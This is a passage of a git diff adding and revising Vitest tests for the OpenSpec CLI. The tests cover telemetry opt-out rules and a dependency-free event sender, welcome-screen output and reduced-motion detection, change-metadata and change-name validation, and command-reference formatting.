vi.spyOn(globalThis, 'fetch'); + // Telemetry must never reach the real network in tests + fetchSpy = vi + .spyOn(globalThis, 'fetch') + .mockResolvedValue(new Response(null, { status: 200 })); }); afterEach(async () => { @@ -60,6 +52,22 @@ describe('telemetry/index', () => { vi.restoreAllMocks(); }); + function enableTelemetry() { + delete process.env.OPENSPEC_TELEMETRY; + delete process.env.DO_NOT_TRACK; + delete process.env.CI; + } + + /** Write an isolated global telemetry section for synchronous gate tests. */ + function writeTelemetryConfig(telemetry: Record<string, unknown>): void { + const configDir = path.join(tempDir, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.json'), + JSON.stringify({ telemetry }) + ); + } + describe('isTelemetryEnabled', () => { it('should return false when OPENSPEC_TELEMETRY=0', () => { process.env.OPENSPEC_TELEMETRY = '0'; @@ -76,17 +84,78 @@ describe('telemetry/index', () => { expect(isTelemetryEnabled()).toBe(false); }); + it.each(['1', 'yes', 'TRUE', 'on'])( + 'should return false for CI=%s (same rule as version-check)', + (value) => { + process.env.CI = value; + expect(isTelemetryEnabled()).toBe(false); + } + ); + + it.each(['false', '0', 'no', 'off', ''])( + 'should return true when CI=%s (explicitly off)', + (value) => { + enableTelemetry(); + process.env.CI = value; + expect(isTelemetryEnabled()).toBe(true); + } + ); + it('should return true when no opt-out is set', () => { - delete process.env.OPENSPEC_TELEMETRY; + enableTelemetry(); + expect(isTelemetryEnabled()).toBe(true); + }); + + it('should prioritize OPENSPEC_TELEMETRY=0 over other settings', () => { + process.env.OPENSPEC_TELEMETRY = '0'; delete process.env.DO_NOT_TRACK; delete process.env.CI; + expect(isTelemetryEnabled()).toBe(false); + }); + + it('should return false when telemetry.enabled is false in global config', () => { + enableTelemetry(); + writeTelemetryConfig({ enabled: false }); + + expect(isTelemetryEnabled()).toBe(false); + }); + + it('should return true when telemetry.enabled is missing (opt-out default)', () => { + enableTelemetry(); + writeTelemetryConfig({ anonymousId: 'id-only' }); + expect(isTelemetryEnabled()).toBe(true); }); - it('should prioritize OPENSPEC_TELEMETRY=0 over other settings', () => { + it('should return true when telemetry.enabled is true', () => { + enableTelemetry(); + writeTelemetryConfig({ enabled: true }); + + expect(isTelemetryEnabled()).toBe(true); + }); + + it('should let OPENSPEC_TELEMETRY=0 win over telemetry.enabled true', () => { process.env.OPENSPEC_TELEMETRY = '0'; delete process.env.DO_NOT_TRACK; delete process.env.CI; + writeTelemetryConfig({ enabled: true }); + + expect(isTelemetryEnabled()).toBe(false); + }); + + it('should let DO_NOT_TRACK=1 win over telemetry.enabled true', () => { + enableTelemetry(); + process.env.DO_NOT_TRACK = '1'; + writeTelemetryConfig({ enabled: true }); + + expect(isTelemetryEnabled()).toBe(false); + }); + + it('should let CI win over telemetry.enabled true', () => { + enableTelemetry(); + process.env.CI = '1'; + writeTelemetryConfig({ enabled: true }); + expect(isTelemetryEnabled()).toBe(false); }); }); @@ -99,121 +168,196 @@ describe('telemetry/index', () => { expect(consoleLogSpy).not.toHaveBeenCalled(); }); + + it('should not show notice when telemetry.enabled is false', async () => { + enableTelemetry(); + writeTelemetryConfig({ enabled: false }); + + await maybeShowTelemetryNotice(); + + expect(consoleLogSpy).not.toHaveBeenCalled(); + }); }); describe('trackCommand', () => { - it('should not track when telemetry is disabled', async () => { + it('should send nothing when telemetry is disabled', async () => { process.env.OPENSPEC_TELEMETRY = '0'; await trackCommand('test', '1.0.0'); + await shutdown(); - expect(PostHog).not.toHaveBeenCalled(); + expect(fetchSpy).not.toHaveBeenCalled(); }); - it('should track when telemetry is enabled', async () => { - delete process.env.OPENSPEC_TELEMETRY; - delete process.env.DO_NOT_TRACK; - delete process.env.CI; + it('should send nothing when telemetry.enabled is false', async () => { + enableTelemetry(); + writeTelemetryConfig({ enabled: false, anonymousId: 'keep-me' }); await trackCommand('test', '1.0.0'); + await shutdown(); - expect(PostHog).toHaveBeenCalled(); + expect(fetchSpy).not.toHaveBeenCalled(); }); - it('should construct PostHog with bounded silent-failure settings', async () => { - delete process.env.OPENSPEC_TELEMETRY; - delete process.env.DO_NOT_TRACK; - delete process.env.CI; + it('should post one capture event to the batch endpoint when enabled', async () => { + enableTelemetry(); await trackCommand('test', '1.0.0'); - - expect(PostHog).toHaveBeenCalledWith( - expect.any(String), - expect.objectContaining({ - host: 'https://edge.openspec.dev', - flushAt: 1, - flushInterval: 0, - fetchRetryCount: 0, - requestTimeout: 1000, - preloadFeatureFlags: false, - disableRemoteConfig: true, - disableSurveys: true, - fetch: expect.any(Function), - }) - ); + await shutdown(); + + expect(fetchSpy).toHaveBeenCalledTimes(1); + const [url, options] = fetchSpy.mock.calls[0] as [string, RequestInit]; + expect(url).toBe('https://edge.openspec.dev/batch/'); + expect(options.method).toBe('POST'); + + const payload = JSON.parse(String(options.body)); + expect(payload.api_key).toEqual(expect.any(String)); + expect(payload.batch).toHaveLength(1); + const event = payload.batch[0]; + expect(event.type).toBe('capture'); + expect(event.event).toBe('command_executed'); + expect(event.distinct_id).toMatch(/^[0-9a-f-]{36}$/); + expect(event.timestamp).toEqual(expect.any(String)); + expect(event.properties).toEqual({ + command: 'test', + version: '1.0.0', + surface: 'cli', + $ip: null, + }); }); - it('should return a synthetic success response when fetch throws a network error', async () => { - delete process.env.OPENSPEC_TELEMETRY; - delete process.env.DO_NOT_TRACK; - delete process.env.CI; + it('should bound the request with a timeout signal', async () => { + enableTelemetry(); + await trackCommand('test', '1.0.0'); + await shutdown(); - const fetchFn = (PostHog as any).mock.calls[0][1].fetch as typeof fetch; + const [, options] = fetchSpy.mock.calls[0] as [string, RequestInit]; + expect(options.signal).toBeInstanceOf(AbortSignal); + }); + + it('should swallow a network error silently', async () => { + enableTelemetry(); fetchSpy.mockRejectedValueOnce(new Error('network down')); - const response = await fetchFn('https://edge.openspec.dev/batch/', { method: 'POST' }); + await trackCommand('test', '1.0.0'); + await expect(shutdown()).resolves.not.toThrow(); + }); - expect(response.status).toBe(204); + it('should swallow an abort silently', async () => { + enableTelemetry(); + fetchSpy.mockRejectedValueOnce(new DOMException('This operation was aborted', 'AbortError')); + + await trackCommand('test', '1.0.0'); + await expect(shutdown()).resolves.not.toThrow(); }); - it('should return a synthetic success response when fetch aborts', async () => { - delete process.env.OPENSPEC_TELEMETRY; - delete process.env.DO_NOT_TRACK; - delete process.env.CI; + it('should swallow a non-2xx response silently', async () => { + enableTelemetry(); + fetchSpy.mockResolvedValueOnce(new Response('forbidden', { status: 403 })); + await trackCommand('test', '1.0.0'); + await expect(shutdown()).resolves.not.toThrow(); + }); - const fetchFn = (PostHog as any).mock.calls[0][1].fetch as typeof fetch; - fetchSpy.mockRejectedValueOnce(new DOMException('This operation was aborted', 'AbortError')); + it('should dispose the response body of a successful response before the event settles', async () => { + // Undici holds the connection until the body is consumed or canceled; + // an undisposed body would let the socket outlive shutdown(). + enableTelemetry(); + const response = new Response('{"status": 1}', { status: 200 }); + fetchSpy.mockResolvedValueOnce(response); - const response = await fetchFn('https://edge.openspec.dev/batch/', { method: 'POST' }); + await trackCommand('test', '1.0.0'); + await shutdown(); - expect(response.status).toBe(204); + expect(response.bodyUsed).toBe(true); }); - it('should return a synthetic success response for non-2xx responses', async () => { - delete process.env.OPENSPEC_TELEMETRY; - delete process.env.DO_NOT_TRACK; - delete process.env.CI; - await trackCommand('test', '1.0.0'); + it('should dispose the response body of a non-2xx response before the event settles', async () => { + enableTelemetry(); + const response = new Response('rate limited', { status: 429 }); + fetchSpy.mockResolvedValueOnce(response); - const fetchFn = (PostHog as any).mock.calls[0][1].fetch as typeof fetch; - fetchSpy.mockResolvedValueOnce(new Response('forbidden', { status: 403 })); + await trackCommand('test', '1.0.0'); + await shutdown(); - const response = await fetchFn('https://edge.openspec.dev/batch/', { method: 'POST' }); + expect(response.bodyUsed).toBe(true); + }); + }); - expect(response.status).toBe(204); + describe('shutdown', () => { + it('should not throw when nothing is pending', async () => { + await expect(shutdown()).resolves.not.toThrow(); }); - it('should pass through successful responses from fetch', async () => { - delete process.env.OPENSPEC_TELEMETRY; - delete process.env.DO_NOT_TRACK; - delete process.env.CI; + it('should flush an in-flight event before returning', async () => { + enableTelemetry(); + + let settle!: (response: Response) => void; + fetchSpy.mockImplementationOnce( + () => new Promise<Response>((resolve) => (settle = resolve)) + ); + await trackCommand('test', '1.0.0'); - const fetchFn = (PostHog as any).mock.calls[0][1].fetch as typeof fetch; - const expectedResponse = new Response(null, { status: 200 }); - fetchSpy.mockResolvedValueOnce(expectedResponse); + let flushed = false; + const flushing = shutdown().then(() => { + flushed = true; + }); - const response = await fetchFn('https://edge.openspec.dev/batch/', { method: 'POST' }); + // The event is still in flight, so shutdown must still be waiting. + await Promise.resolve(); + expect(flushed).toBe(false); - expect(response).toBe(expectedResponse); + settle(new Response(null, { status: 200 })); + await flushing; + expect(flushed).toBe(true); }); }); - describe('shutdown', () => { - it('should not throw when no client exists', async () => { - await expect(shutdown()).resolves.not.toThrow(); - }); + describe('published dependency tree (#1390)', () => { + it('ships no posthog packages to consumers', () => { + // Downstream supply-chain age policies (pnpm minimumReleaseAge) broke + // installs whenever the posthog subtree had a release younger than the + // policy window — which, at posthog's publish cadence, was most days. + // Telemetry now speaks the wire format directly; nothing in the + // published manifest may reintroduce that tree. + const manifest = JSON.parse( + fs.readFileSync(path.join(process.cwd(), 'package.json'), 'utf-8') + ) as { + dependencies?: Record<string, string>; + optionalDependencies?: Record<string, string>; + peerDependencies?: Record<string, string>; + }; - it('should handle shutdown errors silently', async () => { - const mockPostHog = { - capture: vi.fn(), - shutdown: vi.fn().mockRejectedValue(new Error('Network error')), + const shipped = { + ...manifest.dependencies, + ...manifest.optionalDependencies, + ...manifest.peerDependencies, }; - (PostHog as any).mockImplementation(() => mockPostHog); + const posthogDeps = Object.keys(shipped).filter((name) => + name.toLowerCase().includes('posthog') + ); + expect(posthogDeps).toEqual([]); + }); - await expect(shutdown()).resolves.not.toThrow(); + it('imports no posthog module anywhere in src', () => { + const hits: string[] = []; + const walk = (dir: string): void => { + for (const entry of fs.readdirSync(dir, { withFileTypes: true })) { + const full = path.join(dir, entry.name); + if (entry.isDirectory()) { + walk(full); + } else if (entry.name.endsWith('.ts')) { + const content = fs.readFileSync(full, 'utf-8'); + if (/from\s+['"](posthog|@posthog)/.test(content)) { + hits.push(full); + } + } + } + }; + walk(path.join(process.cwd(), 'src')); + expect(hits).toEqual([]); }); }); }); diff --git a/test/ui/welcome-screen.test.ts b/test/ui/welcome-screen.test.ts new file mode 100644 index 0000000000..263bb6eea4 --- /dev/null +++ b/test/ui/welcome-screen.test.ts @@ -0,0 +1,280 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { ALL_WORKFLOWS, CORE_WORKFLOWS } from '../../src/core/profiles.js'; + +const { useKeypressMock, execFileSyncMock } = vi.hoisted(() => ({ + useKeypressMock: vi.fn(), + execFileSyncMock: vi.fn(), +})); + +vi.mock('node:child_process', () => ({ + execFileSync: execFileSyncMock, +})); + +vi.mock('@inquirer/core', () => ({ + createPrompt: vi.fn((view) => async (config: Record<string, never>) => { + let keypressHandler: ((key: { name: string; ctrl: boolean }) => void) | undefined; + useKeypressMock.mockImplementation((handler) => { + keypressHandler = handler; + }); + + return new Promise<void>((resolve) => { + view(config, resolve); + keypressHandler?.({ name: 'return', ctrl: false }); + }); + }), + isEnterKey: vi.fn((key) => key.name === 'return'), + useKeypress: useKeypressMock, +})); + +describe('welcome screen', () => { + const originalNoColor = process.env.NO_COLOR; + const originalNoAnimation = process.env.OPENSPEC_NO_ANIMATION; + const originalStdinIsTTY = process.stdin.isTTY; + const originalStdoutIsTTY = process.stdout.isTTY; + const originalColumns = process.stdout.columns; + let writeSpy: ReturnType<typeof vi.spyOn<typeof process.stdout, 'write'>>; + + const writtenOutput = () => + writeSpy.mock.calls.map((call) => String(call[0])).join(''); + + // The animated path paints on a timer, so assert against the static fallback. + const renderStatically = () => { + Object.defineProperty(process.stdout, 'isTTY', { value: false, configurable: true }); + }; + + beforeEach(() => { + delete process.env.NO_COLOR; + delete process.env.OPENSPEC_NO_ANIMATION; + Object.defineProperty(process.stdin, 'isTTY', { value: true, configurable: true }); + Object.defineProperty(process.stdout, 'isTTY', { value: true, configurable: true }); + Object.defineProperty(process.stdout, 'columns', { value: 100, configurable: true }); + writeSpy = vi.spyOn(process.stdout, 'write').mockImplementation(() => true); + useKeypressMock.mockClear(); + // Deterministic default: no OS-level reduced-motion preference detectable, + // so animated-path tests behave the same on every machine. + execFileSyncMock.mockReset(); + execFileSyncMock.mockImplementation(() => { + throw new Error('not available in tests'); + }); + }); + + afterEach(() => { + if (originalNoColor === undefined) { + delete process.env.NO_COLOR; + } else { + process.env.NO_COLOR = originalNoColor; + } + if (originalNoAnimation === undefined) { + delete process.env.OPENSPEC_NO_ANIMATION; + } else { + process.env.OPENSPEC_NO_ANIMATION = originalNoAnimation; + } + Object.defineProperty(process.stdin, 'isTTY', { value: originalStdinIsTTY, configurable: true }); + Object.defineProperty(process.stdout, 'isTTY', { value: originalStdoutIsTTY, configurable: true }); + Object.defineProperty(process.stdout, 'columns', { value: originalColumns, configurable: true }); + vi.restoreAllMocks(); + }); + + it('uses an Inquirer prompt to wait for Enter', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + + await showWelcomeScreen(CORE_WORKFLOWS); + + expect(useKeypressMock).toHaveBeenCalledOnce(); + }); + + it('only advertises commands the profile installs', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + renderStatically(); + + await showWelcomeScreen(CORE_WORKFLOWS); + + const output = writtenOutput(); + + expect(output).toContain('/opsx:propose'); + expect(output).toContain('/opsx:apply'); + expect(output).not.toContain('/opsx:new'); + expect(output).not.toContain('/opsx:continue'); + }); + + it('advertises expanded commands when a custom profile installs them', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + renderStatically(); + + await showWelcomeScreen(['new', 'continue', 'apply']); + + const output = writtenOutput(); + + expect(output).toContain('/opsx:new'); + expect(output).toContain('/opsx:continue'); + expect(output).not.toContain('/opsx:propose'); + }); + + it('omits the quick start block when no onboarding workflow is installed', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + renderStatically(); + + await showWelcomeScreen(['archive']); + + const output = writtenOutput(); + + expect(output).toContain('Welcome to OpenSpec'); + expect(output).not.toContain('Quick start after setup:'); + }); + + it('does not promise opsx commands in the setup summary', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + renderStatically(); + + // This screen runs before tool selection, and skills-only tools (Codex, + // Kimi Code, ...) correctly receive no command files, so the summary must + // not state that opsx slash commands are part of every setup. + await showWelcomeScreen(['archive']); + + const output = writtenOutput(); + + expect(output).toContain('Agent Skills for AI tools'); + expect(output).toContain('Workflow commands, if supported'); + expect(output).not.toContain('opsx slash commands'); + }); + + it('flags that the quick-start spelling varies by tool', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + renderStatically(); + + // The quick start shows canonical names, but this screen renders one + // prompt before tools are picked — an Amazon Q user types @opsx-propose + // and a Codex user $openspec-propose, neither of which is shown here. + await showWelcomeScreen(['propose']); + + const output = writtenOutput(); + + expect(output).toContain('/opsx:propose'); + expect(output).toContain('spelling varies by tool'); + }); + + it('omits the spelling caveat when there is no quick start block', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + renderStatically(); + + await showWelcomeScreen(['archive']); + + expect(writtenOutput()).not.toContain('spelling varies by tool'); + }); + + it('keeps every rendered line inside the animation width budget', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + renderStatically(); + + // The animated path moves the cursor up a fixed count of logical lines, so a + // line that wraps at the narrowest animating terminal (MIN_WIDTH = 60) makes + // each frame redraw lower than the last. Worst case is every command shown. + await showWelcomeScreen(ALL_WORKFLOWS); + + const rendered = writtenOutput().replace(/\x1b\[[0-9;]*[A-Za-z]/g, ''); + + for (const line of rendered.split('\n')) { + expect(line.length).toBeLessThanOrEqual(59); + } + }); + + it('renders statically when OPENSPEC_NO_ANIMATION is set', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + process.env.OPENSPEC_NO_ANIMATION = '1'; + + await showWelcomeScreen(CORE_WORKFLOWS); + + // Static rendering still waits for the Enter the prompt line asks for; + // otherwise the keystroke falls through into the tool picker (#1462). + expect(useKeypressMock).toHaveBeenCalledOnce(); + const output = writtenOutput(); + expect(output).toContain('Welcome to OpenSpec'); + expect(output).toContain('Press Enter'); + // No cursor-up repaints: the frame is drawn exactly once. + expect(output).not.toMatch(/\x1b\[\d+A/); + }); + + it('honors OPENSPEC_NO_ANIMATION even when set to an empty value', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + process.env.OPENSPEC_NO_ANIMATION = ''; + + await showWelcomeScreen(CORE_WORKFLOWS); + + expect(useKeypressMock).toHaveBeenCalledOnce(); + expect(writtenOutput()).not.toMatch(/\x1b\[\d+A/); + }); + + it('renders statically when animate is disabled via options', async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + + await showWelcomeScreen(CORE_WORKFLOWS, { animate: false }); + + expect(useKeypressMock).toHaveBeenCalledOnce(); + const output = writtenOutput(); + expect(output).toContain('Welcome to OpenSpec'); + expect(output).not.toMatch(/\x1b\[\d+A/); + }); + + it.runIf(process.platform === 'darwin' || process.platform === 'linux')( + 'renders statically when the OS prefers reduced motion', + async () => { + const { showWelcomeScreen } = await import('../../src/ui/welcome-screen.js'); + execFileSyncMock.mockImplementation((file: string) => + file === 'defaults' ? '1\n' : 'false\n' + ); + + await showWelcomeScreen(CORE_WORKFLOWS); + + expect(useKeypressMock).toHaveBeenCalledOnce(); + expect(writtenOutput()).toContain('Welcome to OpenSpec'); + } + ); +}); + +describe('prefersReducedMotion', () => { + beforeEach(() => { + execFileSyncMock.mockReset(); + }); + + it('detects macOS Reduce Motion', async () => { + const { prefersReducedMotion } = await import('../../src/ui/welcome-screen.js'); + execFileSyncMock.mockReturnValue('1\n'); + + expect(prefersReducedMotion('darwin')).toBe(true); + expect(execFileSyncMock).toHaveBeenCalledWith( + 'defaults', + ['read', 'com.apple.universalaccess', 'reduceMotion'], + expect.objectContaining({ timeout: 500 }) + ); + }); + + it('treats a disabled or unset macOS preference as no preference', async () => { + const { prefersReducedMotion } = await import('../../src/ui/welcome-screen.js'); + + execFileSyncMock.mockReturnValue('0\n'); + expect(prefersReducedMotion('darwin')).toBe(false); + + // `defaults read` exits non-zero while the key has never been toggled. + execFileSyncMock.mockImplementation(() => { + throw new Error('The domain/default pair does not exist'); + }); + expect(prefersReducedMotion('darwin')).toBe(false); + }); + + it('detects GNOME reduced motion via disabled animations', async () => { + const { prefersReducedMotion } = await import('../../src/ui/welcome-screen.js'); + + execFileSyncMock.mockReturnValue('false\n'); + expect(prefersReducedMotion('linux')).toBe(true); + + execFileSyncMock.mockReturnValue('true\n'); + expect(prefersReducedMotion('linux')).toBe(false); + }); + + it('returns false without spawning anything on other platforms', async () => { + const { prefersReducedMotion } = await import('../../src/ui/welcome-screen.js'); + + expect(prefersReducedMotion('win32')).toBe(false); + expect(execFileSyncMock).not.toHaveBeenCalled(); + }); +}); diff --git a/test/utils/change-metadata.test.ts b/test/utils/change-metadata.test.ts index a8c1238369..0082d03d73 100644 --- a/test/utils/change-metadata.test.ts +++ b/test/utils/change-metadata.test.ts @@ -2,7 +2,6 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; import { writeChangeMetadata, readChangeMetadata, @@ -10,7 +9,7 @@ import { validateSchemaName, ChangeMetadataError, } from '../../src/utils/change-metadata.js'; -import { ChangeMetadataSchema } from '../../src/core/artifact-graph/types.js'; +import { ChangeMetadataSchema } from '../../src/core/change-metadata/index.js'; describe('ChangeMetadataSchema', () => { describe('valid metadata', () => { @@ -26,6 +25,23 @@ describe('ChangeMetadataSchema', () => { } }); + it('should accept skip_specs boolean and reject non-boolean values', () => { + const withFlag = ChangeMetadataSchema.safeParse({ + schema: 'spec-driven', + skip_specs: true, + }); + expect(withFlag.success).toBe(true); + if (withFlag.success) { + expect(withFlag.data.skip_specs).toBe(true); + } + + const nonBoolean = ChangeMetadataSchema.safeParse({ + schema: 'spec-driven', + skip_specs: 'yes', + }); + expect(nonBoolean.success).toBe(false); + }); + it('should accept valid schema without created date', () => { const result = ChangeMetadataSchema.safeParse({ schema: 'custom-schema', @@ -36,6 +52,24 @@ describe('ChangeMetadataSchema', () => { expect(result.data.created).toBeUndefined(); } }); + + it('should accept a portable initiative link', () => { + const result = ChangeMetadataSchema.safeParse({ + schema: 'spec-driven', + initiative: { + store: 'platform', + id: 'billing-launch', + }, + }); + + expect(result.success).toBe(true); + if (result.success) { + expect(result.data.initiative).toEqual({ + store: 'platform', + id: 'billing-launch', + }); + } + }); }); describe('invalid metadata', () => { @@ -68,6 +102,36 @@ describe('ChangeMetadataSchema', () => { }); expect(result.success).toBe(false); }); + + it('should reject initiative links with local paths or copied content', () => { + const result = ChangeMetadataSchema.safeParse({ + schema: 'spec-driven', + initiative: { + store: 'platform', + id: 'billing-launch', + path: '/tmp/store/initiatives/billing-launch', + summary: 'Copied initiative prose', + }, + }); + + expect(result.success).toBe(false); + }); + + it('should reject unsafe initiative link identifiers', () => { + for (const initiative of [ + { store: '/tmp/platform', id: 'billing-launch' }, + { store: 'platform', id: 'billing/launch' }, + { store: 'Platform', id: 'billing-launch' }, + { store: 'platform', id: 'billing launch' }, + ]) { + const result = ChangeMetadataSchema.safeParse({ + schema: 'spec-driven', + initiative, + }); + + expect(result.success).toBe(false); + } + }); }); }); @@ -76,7 +140,7 @@ describe('writeChangeMetadata', () => { let changeDir: string; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-test-${randomUUID()}`); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-test-')); changeDir = path.join(testDir, 'openspec', 'changes', 'test-change'); await fs.mkdir(changeDir, { recursive: true }); }); @@ -113,7 +177,7 @@ describe('readChangeMetadata', () => { let changeDir: string; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-test-${randomUUID()}`); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-test-')); changeDir = path.join(testDir, 'openspec', 'changes', 'test-change'); await fs.mkdir(changeDir, { recursive: true }); }); @@ -142,6 +206,27 @@ describe('readChangeMetadata', () => { }); }); + it('should read portable initiative metadata', async () => { + const metaPath = path.join(changeDir, '.openspec.yaml'); + await fs.writeFile( + metaPath, + [ + 'schema: spec-driven', + 'initiative:', + ' store: platform', + ' id: billing-launch', + '', + ].join('\n'), + 'utf-8' + ); + + const result = readChangeMetadata(changeDir); + expect(result?.initiative).toEqual({ + store: 'platform', + id: 'billing-launch', + }); + }); + it('should throw ChangeMetadataError for invalid YAML', async () => { const metaPath = path.join(changeDir, '.openspec.yaml'); await fs.writeFile(metaPath, '{ invalid yaml', 'utf-8'); @@ -169,7 +254,7 @@ describe('resolveSchemaForChange', () => { let changeDir: string; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-test-${randomUUID()}`); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-test-')); changeDir = path.join(testDir, 'openspec', 'changes', 'test-change'); await fs.mkdir(changeDir, { recursive: true }); }); @@ -200,14 +285,12 @@ describe('resolveSchemaForChange', () => { expect(result).toBe('spec-driven'); }); - it('should return default when metadata read fails', async () => { + it('should fail when metadata exists but cannot be read', async () => { // Create an invalid metadata file const metaPath = path.join(changeDir, '.openspec.yaml'); await fs.writeFile(metaPath, '{ invalid yaml', 'utf-8'); - // Should fall back to default, not throw - const result = resolveSchemaForChange(changeDir); - expect(result).toBe('spec-driven'); + expect(() => resolveSchemaForChange(changeDir)).toThrow(ChangeMetadataError); }); it('should use project config schema when no metadata exists', async () => { diff --git a/test/utils/change-utils.test.ts b/test/utils/change-utils.test.ts index 090b21b24f..4f32914aa6 100644 --- a/test/utils/change-utils.test.ts +++ b/test/utils/change-utils.test.ts @@ -1,8 +1,7 @@ -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; import os from 'os'; -import { randomUUID } from 'crypto'; import { validateChangeName, createChange } from '../../src/utils/change-utils.js'; describe('validateChangeName', () => { @@ -12,6 +11,15 @@ describe('validateChangeName', () => { expect(result).toEqual({ valid: true }); }); + it('should accept a long-but-bounded name and reject one past the cap', () => { + // Past the cap the failure must be a validation message, not a raw + // ENAMETOOLONG once mkdir hits the 255-byte component limit. + expect(validateChangeName('a'.repeat(200))).toEqual({ valid: true }); + const result = validateChangeName('a'.repeat(201)); + expect(result.valid).toBe(false); + expect(result.error).toContain('too long'); + }); + it('should accept name with multiple segments', () => { const result = validateChangeName('add-user-auth'); expect(result).toEqual({ valid: true }); @@ -31,6 +39,26 @@ describe('validateChangeName', () => { const result = validateChangeName('upgrade-to-v2'); expect(result).toEqual({ valid: true }); }); + + it('should accept a numeric-prefixed name for ordering (#850, #1169)', () => { + const result = validateChangeName('100-add-feature'); + expect(result).toEqual({ valid: true }); + }); + + it('should accept a zero-padded numeric-prefixed name', () => { + const result = validateChangeName('00001-add-auth'); + expect(result).toEqual({ valid: true }); + }); + + it('should accept a tiered numeric prefix with alphanumeric segments (#850)', () => { + const result = validateChangeName('101-01-fix-auth'); + expect(result).toEqual({ valid: true }); + }); + + it('should accept an all-numeric name', () => { + const result = validateChangeName('100'); + expect(result).toEqual({ valid: true }); + }); }); describe('invalid names - uppercase rejected', () => { @@ -110,13 +138,19 @@ describe('validateChangeName', () => { describe('createChange', () => { let testDir: string; + const originalTimeZone = process.env.TZ; beforeEach(async () => { - testDir = path.join(os.tmpdir(), `openspec-test-${randomUUID()}`); - await fs.mkdir(testDir, { recursive: true }); + testDir = await fs.mkdtemp(path.join(os.tmpdir(), 'openspec-test-')); }); afterEach(async () => { + vi.useRealTimers(); + if (originalTimeZone === undefined) { + delete process.env.TZ; + } else { + process.env.TZ = originalTimeZone; + } await fs.rm(testDir, { recursive: true, force: true }); }); @@ -129,6 +163,14 @@ describe('createChange', () => { expect(stats.isDirectory()).toBe(true); }); + it('should create a numeric-prefixed change directory (#850, #1169)', async () => { + await createChange(testDir, '100-add-feature'); + + const changeDir = path.join(testDir, 'openspec', 'changes', '100-add-feature'); + const stats = await fs.stat(changeDir); + expect(stats.isDirectory()).toBe(true); + }); + it('should create .openspec.yaml metadata file with default schema', async () => { await createChange(testDir, 'add-auth'); @@ -138,6 +180,30 @@ describe('createChange', () => { expect(content).toMatch(/created: \d{4}-\d{2}-\d{2}/); }); + it('should use the process local date across a UTC date boundary', async () => { + process.env.TZ = 'Asia/Shanghai'; + vi.useFakeTimers(); + vi.setSystemTime(new Date('2026-07-14T16:30:00.000Z')); + + await createChange(testDir, 'local-date-change'); + + const metaPath = path.join(testDir, 'openspec', 'changes', 'local-date-change', '.openspec.yaml'); + const content = await fs.readFile(metaPath, 'utf-8'); + expect(content).toContain('created: 2026-07-15'); + }); + + it('should preserve the date when UTC and local calendar dates match', async () => { + process.env.TZ = 'Asia/Shanghai'; + vi.useFakeTimers(); + vi.setSystemTime(new Date('2026-01-05T04:30:00.000Z')); + + await createChange(testDir, 'same-date-change'); + + const metaPath = path.join(testDir, 'openspec', 'changes', 'same-date-change', '.openspec.yaml'); + const content = await fs.readFile(metaPath, 'utf-8'); + expect(content).toContain('created: 2026-01-05'); + }); + it('should create .openspec.yaml with custom schema', async () => { await createChange(testDir, 'add-auth', { schema: 'spec-driven' }); diff --git a/test/utils/ci.test.ts b/test/utils/ci.test.ts new file mode 100644 index 0000000000..bf31c9a8ff --- /dev/null +++ b/test/utils/ci.test.ts @@ -0,0 +1,23 @@ +import { describe, it, expect } from 'vitest'; + +import { isCiEnvironment } from '../../src/utils/ci.js'; + +describe('isCiEnvironment', () => { + it('returns false when CI is unset', () => { + expect(isCiEnvironment({})).toBe(false); + }); + + it.each(['true', '1', 'yes', 'TRUE', 'on', 'ci'])( + 'returns true for CI=%s', + (value) => { + expect(isCiEnvironment({ CI: value })).toBe(true); + } + ); + + it.each(['false', '0', 'no', 'off', '', ' FALSE '])( + 'returns false for explicit off value CI=%s', + (value) => { + expect(isCiEnvironment({ CI: value })).toBe(false); + } + ); +}); diff --git a/test/utils/command-references.test.ts b/test/utils/command-references.test.ts index c7ff2ed85b..d5886f2dfe 100644 --- a/test/utils/command-references.test.ts +++ b/test/utils/command-references.test.ts @@ -1,7 +1,22 @@ import { describe, it, expect } from 'vitest'; -import { transformToHyphenCommands } from '../../src/utils/command-references.js'; +import { + getSkillReferenceTransformer, + getTransformerForTool, + transformCommandInvocations, + transformToSkillReferences, +} from '../../src/utils/command-references.js'; +import type { CommandInvocation } from '../../src/core/command-generation/invocation.js'; +import { getApplyChangeSkillTemplate } from '../../src/core/templates/workflows/apply-change.js'; -describe('transformToHyphenCommands', () => { +const FLAT_SLASH: CommandInvocation = { style: 'flat', prefix: '/' }; +const FLAT_AT: CommandInvocation = { style: 'flat', prefix: '@' }; +const NAMESPACED_SLASH: CommandInvocation = { style: 'namespaced', prefix: '/' }; + +/** The `/opsx-<id>` case, which most flat tools use. */ +const transformToHyphenCommands = (text: string): string => + transformCommandInvocations(text, FLAT_SLASH); + +describe('transformCommandInvocations', () => { describe('basic transformations', () => { it('should transform single command reference', () => { expect(transformToHyphenCommands('/opsx:new')).toBe('/opsx-new'); @@ -46,6 +61,19 @@ describe('transformToHyphenCommands', () => { const expected = 